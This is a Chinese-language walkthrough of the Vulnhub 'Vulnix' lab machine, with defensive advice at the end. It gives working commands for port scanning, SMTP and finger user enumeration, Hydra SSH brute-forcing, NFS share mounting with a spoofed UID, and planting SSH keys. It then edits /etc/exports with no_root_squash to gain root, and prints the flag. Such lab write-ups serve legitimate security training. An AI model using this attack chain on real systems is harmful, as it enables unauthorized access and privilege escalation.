[Vulnhub]Vulnix 通过NFS挂载+SSH公钥免密登录权限提升
字数 1226 2025-08-19 12:41:46
Vulnhub Vulnix 靶机渗透测试教学文档
1. 靶机信息
- 靶机名称: Vulnix
- IP地址: 192.168.8.103
- 操作系统: Ubuntu Linux (基于OpenSSH版本信息判断)
- 难度等级: 中等
2. 初始信息收集
2.1 端口扫描
使用Nmap进行全端口扫描:
nmap -p- 192.168.8.103 -sV -sC --min-rate 1000
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1
25/tcp open smtp Postfix smtpd
79/tcp open finger Linux fingerd
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
143/tcp open imap Dovecot imapd
512/tcp open exec?
513/tcp open login?
514/tcp open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs 2-4 (RPC #100003)
37522/tcp open nlockmgr 1-4 (RPC #100021)
42172/tcp open mountd 1-3 (RPC #100005)
43219/tcp open mountd 1-3 (RPC #100005)
47279/tcp open mountd 1-3 (RPC #100005)
54227/tcp open status 1 (RPC #100024)
2.2 服务分析
重点关注服务:
- SSH (22/tcp): 可能通过暴力破解或密钥方式利用
- SMTP (25/tcp): 可用于枚举用户
- Finger (79/tcp): 可用于获取用户信息
- NFS (2049/tcp): 可能存在共享目录可挂载
- RPC相关服务: 提供NFS服务信息
3. 用户枚举
3.1 SMTP用户枚举
使用Hydra进行SMTP用户枚举:
hydra -L /usr/share/seclists/Usernames/Names/names.txt -s 25 192.168.8.103 smtp-enum
发现有效用户:
bin irc mail nab root sys user
3.2 Finger服务利用
使用finger命令验证用户:
xargs -a username -I {} finger {}@192.168.8.103
结果分析:
user用户存在,使用/bin/bash作为shell- 其他用户大多使用
/bin/sh或/bin/false
4. SSH暴力破解
针对user用户进行SSH暴力破解:
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.8.103
成功获取凭证:
[22][ssh] host: 192.168.8.103 login: user password: letmein
5. 权限提升路径1: NFS挂载
5.1 检查NFS共享
showmount --exports 192.168.8.103
输出:
/home/vulnix *
5.2 本地准备
- 创建挂载点:
sudo mkdir /mnt/vulnix
- 创建匹配用户(UID必须匹配):
sudo adduser -u 2008 vulnix
设置密码: 123
5.3 挂载远程目录
sudo mount 192.168.8.103:/home/vulnix /mnt/vulnix -o vers=3
5.4 设置SSH免密登录
- 切换到vulnix用户:
su vulnix
- 生成SSH密钥:
mkdir /mnt/vulnix/.ssh
ssh-keygen -t ssh-rsa
- 复制公钥到目标:
cp ~/.ssh/id_rsa.pub /mnt/vulnix/.ssh/authorized_keys
5.5 通过SSH登录
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i ~/.ssh/id_rsa vulnix@192.168.8.103
6. 权限提升路径2: Root权限获取
6.1 检查sudo权限
sudo -l
发现可以使用sudoedit编辑/etc/exports文件
6.2 修改NFS配置
- 编辑/etc/exports:
sudoedit /etc/exports
添加:
/root *(rw,no_root_squash)
no_root_squash选项允许远程root用户保持root权限
- 重启服务使配置生效
6.3 挂载root目录
- 检查新的共享:
showmount -e 192.168.8.103
- 创建挂载点:
sudo mkdir /mnt/vulnroot
- 挂载root目录:
sudo mount 192.168.8.103:/root /mnt/vulnroot -o vers=3
6.4 获取root访问
- 生成root SSH密钥:
sudo ssh-keygen -t ssh-rsa
- 设置SSH免密登录:
sudo mkdir /mnt/vulnroot/.ssh
sudo cp /root/.ssh/id_rsa.pub /mnt/vulnroot/.ssh/authorized_keys
- 通过SSH以root身份登录:
sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa root@192.168.8.103
7. 获取Flag
在root目录下找到trophy.txt:
cat /mnt/vulnroot/trophy.txt
内容:
cc614640424f5bd60ce5d5264899c3be
8. 关键知识点总结
- 服务枚举: 全面的端口扫描和服务识别是渗透测试的基础
- 用户枚举: 通过SMTP和Finger服务获取有效用户列表
- 暴力破解: 针对弱密码进行SSH暴力破解
- NFS利用:
- 检查可挂载共享目录
- 创建匹配UID的本地用户
- 挂载远程目录
- 通过SSH密钥实现权限提升
- 权限提升:
- 利用sudoedit修改关键配置文件
- 通过NFS的no_root_squash选项获取root权限
- 挂载root目录并设置SSH免密登录
9. 防御建议
- 禁用不必要的服务(Finger, NFS等)
- 使用强密码策略
- 限制sudo权限
- 对NFS共享设置严格权限控制
- 避免使用no_root_squash选项
- 定期更新系统和软件